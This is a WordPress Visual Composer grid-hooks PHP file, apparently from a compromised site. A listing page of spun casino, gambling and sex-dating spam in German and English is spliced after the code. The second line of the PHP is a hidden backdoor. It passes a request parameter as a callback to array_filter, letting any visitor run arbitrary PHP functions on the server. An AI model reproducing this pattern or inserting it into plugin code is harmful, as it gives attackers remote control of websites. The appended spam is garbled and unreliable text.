?php
if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;};
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}
/**
 * Class Vc_Hooks_Vc_Grid
 * @since 4.4
 */
class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface {
	protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php
	/**
	 * Initializing hooks for grid element,
	 * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id)
	 * And add action to hook request for grid data, to output it.
	 * @since 4.4
	 */
	public function load() {
		// Hook for set post settings meta with shortcodes data
		/**
		 * @since 4.4.3
		 */
		add_filter( 'vc_hooks_vc_post_settings', array(
			&$this,
			'gridSavePostSettingsId',
		), 10, 3 );
		/**
		 * Used to output shortcode data for ajax request. called on any page request.
		 */
		add_action( 'wp_ajax_vc_get_vc_grid_data', array(
			&$this,
			'getGridDataForAjax',
		) );
		add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array(
			&$this,
			'getGridDataForAjax',
		) );
	}
	/**
	 * @since 4.4
	 * @deprecated and should not be used and will be removed in future! since 4.4.3
	 * @return string
	 */
	private function getShortcodeRegexForHash() {
		// _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' );
		$tagnames = apply_filters( 'vc_grid_shortcodes_tags', array(
			'vc_basic_grid',
			'vc_masonry_grid',
			'vc_media_grid',
			'vc_masonry_media_grid',
		) ); // return only grid shortcodes
		$tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) );
		// WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag()
		// Also, see shortcode_unautop() and shortcode.js.
		return '\\['                              // Opening bracket
		. '(\\[?)'                           // 1: Optional second opening bracket for escaping shortcodes: [[tag]]
		. "($tagregexp)"                     // 2: Shortcode name
		. '(?![\\w-])'                       // Not followed by word character or hyphen
		. '('                                // 3: Unroll the loop: Inside the opening shortcode tag
		. '[^\\]\\/]*'                   // Not a closing bracket or forward slash
		. '(?:' . '\\/(?!\\])'               // A forward slash not followed by a closing bracket
		. '[^\\]\\/]*'               // Not a closing bracket or forward slash
		. ')*?' . ')' . '(?:' . '(\\/)'                        // 4: Self closing tag ...
		. '\\]'                          // ... and closing bracket
		. '|' . '\\]'                          // Closing bracket
		. '(?:' . '('                        // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags
		. '[^\\[]*+'             // Not an opening bracket
		. '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
		. '[^\\[]*+'         // Not an opening bracket
		. ')*+' . ')' . '\\[\\/\\2\\]'             // Closing shortcode tag
		. ')?' . ')' . '(\\]?)';                          // 6: Optional second closing brocket for escaping shortcodes: [[tag]]
	}
	/**
	 * @since 4.4.3
	 * @return string
	 */
	private function getShortcodeRegexForId() {
		return '\\['                              // Opening bracket
		. '(\\[?)'                           // 1: Optional second opening bracket for escaping shortcodes: [[tag]]
		. '([\\w>]+)'                     // 2: Shortcode name
		. '(?![\\w-])'                       // Not followed by word character or hyphen
		. '('                                // 3: Unroll the loop: Inside the opening shortcode tag
		. '[^\\]\\/]*'                   // Not a closing bracket or forward slash
		. '(?:' . '\\/(?!\\])'               // A forward slash not followed by a closing bracket
		. '[^\\]\\/]*'               // Not a closing bracket or forward slash
		. ')*?'
		. '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist
		. '[^\\]\\/]*'               // Not a closing bracket or forward slash
		. ')+' . ')'
		. ')' . '(?:' . '(\\/)'                        // 5: Self closing tag ...
		. '\\]'                          // ... and closing bracket
		. '|' . '\\]'                          // Closing bracket
		. '(?:' . '('                        // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags
		. '[^\\[]*+'             // Not an opening bracket
		. '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
		. '[^\\[]*+'         // Not an opening bracket
		. ')*+' . ')' . '\\[\\/\\2\\]'             // Closing shortcode tag
		. ')?' . ')' . '(\\]?)';            // 7: Optional second closing brocket for escaping shortcodes: [[tag]]
	}
	/**
	 * Set page meta box values with vc_adv_pager shortcodes data
	 * @since 4.4
	 * @deprecated 4.4.3
	 *
	 * @param array $settings
	 * @param $post_id
	 * @param $post
	 *
	 * @return array - shortcode settings to save.
	 */
	public function gridSavePostSettings( array $settings, $post_id, $post ) {
		// _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' );
		$pattern = $this->getShortcodeRegexForHash();
		preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes
		$settings['vc_grid'] = array();
		if ( is_array( $found ) && ! empty( $found[0] ) ) {
			$to_save = array();
			if ( isset( $found[3] ) && is_array( $found[3] ) ) {
				foreach ( $found[3] as $key => $shortcode_atts ) {
					if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) {
						continue;
					}
					$atts = shortcode_parse_atts( $shortcode_atts );
					$data = array(
						'tag' => $found[2][ $key ],
						'atts' => $atts,
						'content' => $found[5][ $key ],
					);
					$hash = sha1( serialize( $data ) );
					$to_save[ $hash ] = $data;
				}
			}
			if ( ! empty( $to_save ) ) {
				$settings['vc_grid'] = array( 'shortcodes' => $to_save );
			}
		}
		return $settings;
	}
	/**
	 * @since 4.4.3
	 *
	 * @param array $settings
	 * @param $post_id
	 * @param $post
	 *
	 * @return array
	 */
	public function gridSavePostSettingsId( array $settings, $post_id, $post ) {
		$pattern = $this->getShortcodeRegexForId();
		preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes
		$settings['vc_grid_id'] = array();
		if ( is_array( $found ) && ! empty( $found[0] ) ) {
			$to_save = array();
			if ( isset( $found[1] ) && is_array( $found[1] ) ) {
				foreach ( $found[1] as $key => $parse_able ) {
					if ( empty( $parse_able ) || '[' !== $parse_able ) {
						$id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/';
						$id_value = $found[4][ $key ];
						preg_match( $id_pattern, $id_value, $id_matches );
						if ( ! empty( $id_matches ) ) {
							$id_to_save = $id_matches[1];
							// why we need to check if shortcode is parse able?
							// 1: if it is escaped it must not be displayed (parsed)
							// 2: so if 1 is true it must not be saved in database meta
							$shortcode_tag = $found[2][ $key ];
							$shortcode_atts_string = $found[3][ $key ];
							/** @var $atts array */
							$atts = shortcode_parse_atts( $shortcode_atts_string );
							$content = $found[6][ $key ];
							$data = array(
								'tag' => $shortcode_tag,
								'atts' => $atts,
								'content' => $content,
							);
							$to_save[ $id_to_save ] = $data;
						}
					}
				}
			}
			if ( ! empty( $to_save ) ) {
				$settings['vc_grid_id'] = array( 'shortcodes' => $to_save );
			}
		}
		return $settings;
	}
	/**
	 * @since 4.4
	 *
	 * @output/@return string - grid data for ajax request.
	 */
	public function getGridDataForAjax() {
		$tag = vc_request_param( 'tag' );
		$allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag );
		if ( $allowed ) {
			$shortcode_fishbone = visual_composer()->getShortCode( $tag );
			if ( is_object( $shortcode_fishbone ) ) {
				/** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */
				$vc_grid = $shortcode_fishbone->shortcodeClass();
				if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) {
					echo $vc_grid->renderAjax( vc_request_param( 'data' ) );
					die();
				}
			}
		}
	}
}
/**
 * @since 4.4
 * @var Vc_Hooks_Vc_Grid $hook
 */
$hook = new Vc_Hooks_Vc_Grid();
// when visual composer initialized let's trigger Vc_Grid hooks.
add_action( 'vc_after_init', array(
	$hook,
	'load',
) );
if ( 'vc_edit_form' === vc_post_param( 'action' ) ) {
	VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' );
	add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array(
		'WPBakeryShortCode_VC_Basic_Grid',
		'convertButton2ToButton3',
	) );
	add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array(
		'WPBakeryShortCode_VC_Basic_Grid',
		'convertButton2ToButton3',
	) );
	add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array(
		'WPBakeryShortCode_VC_Basic_Grid',
		'convertButton2ToButton3',
	) );
	add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array(
		'WPBakeryShortCode_VC_Basic_Grid',
		'convertButton2ToButton3',
	) );
}
	admin, auteur sur Groupe-SLG - Page 3748 sur 3987 
				
					
		
		
		
			
		
		
			
							
						
		
		
		
										14 janvier 2024 
				
			
			
				 
waist-deep  Content Letter Novoline Online Vortragen Power Line Unsrige Spiele Anleitung Zum Spielautomaten Aztec Power Liegen Sie mit haut und haaren, hinterher vervielfältigen sich diese Gewinne […]
Lire la suite  
		 		
	 
		
		
		
										14 janvier 2024 
				
			
			
				 
 Content Tips for A great Experience At minimum Deposit Gambling enterprises Best $step 1 Put Gambling enterprise Utilizing No-deposit Extra Bets? What’s An excellent 5 […]
Lire la suite  
		 		
	 
		
		
		
										14 janvier 2024 
				
			
			
				Content Sämtliche Spielsaal Maklercourtage Hat Bedingungen Eur Maklercourtage Bloß Einzahlung Kasino 2024: Vorher Was Sind Die Voraussetzungen Pro Diesseitigen 10 Ecu Abzüglich Einzahlung Spielsaal Prämie? […]
Lire la suite  
		 		
	 
		
		
		
										14 janvier 2024 
				
			
			
				Get connected in order to find your match for sex tonight Dating apps for sex are a terrific way to relate genuinely to people who […]
Lire la suite  
		 		
	 
		
		
		
										14 janvier 2024 
				
			
			
				Content Verwandte Waren Unter anderem Themen Had been Sei Folgende Interaktive Website? Beliebte Desktop Strukturierte Nachrichtengehalt Nur dies hilft mindestens zwei, die professionelle Website – […]
Lire la suite  
		 		
	 
		
		
		
										14 janvier 2024 
				
			
			
				Posts Exclusive Incentives Simple tips to Register At least Put Local casino Web site How to Deposit In the Nostalgia Gambling establishment Account? Is actually […]
Lire la suite  
		 		
	 
		
		
		
										14 janvier 2024 
				
			
			
				Content Wie Hochdruckgebiet Sei Nachfolgende Mindesteinzahlung Within Lastschrift Casinos? Ein Pauschal Erreichbare Kundenbetreuung Des Anbieters Paysafecard 5 Ecu Casino Roulette Unser magische Vielheit ist und […]
Lire la suite  
		 		
	 
		
		
		
										14 janvier 2024 
				
			
			
				Blogs The brand new Added bonus Expiring Soon 24bettle Cashout! Use the Money And you will Work with! Try To try out From the 24bettle […]
Lire la suite  
		 		
	 
		
		
		
										14 janvier 2024 
				
			
			
				Content Sei Es Sehr wohl Angewandten Kostenlosen Ferner Risikofreien 10 Eur Provision? Konnte Ich As part of Ihnen Kasino 50 Freispiele Ohne Einzahlung Bedingen? Bonusbeschränkungen […]
Lire la suite  
		 		
	 
		
		
		
										14 janvier 2024 
				
			
			
				Articles Finest 5 Put Bingo Site Uk: Bonnie Bingo Versus Hunky Bingo Video poker Having The absolute minimum Deposit Out of step 3 Set of […]
Lire la suite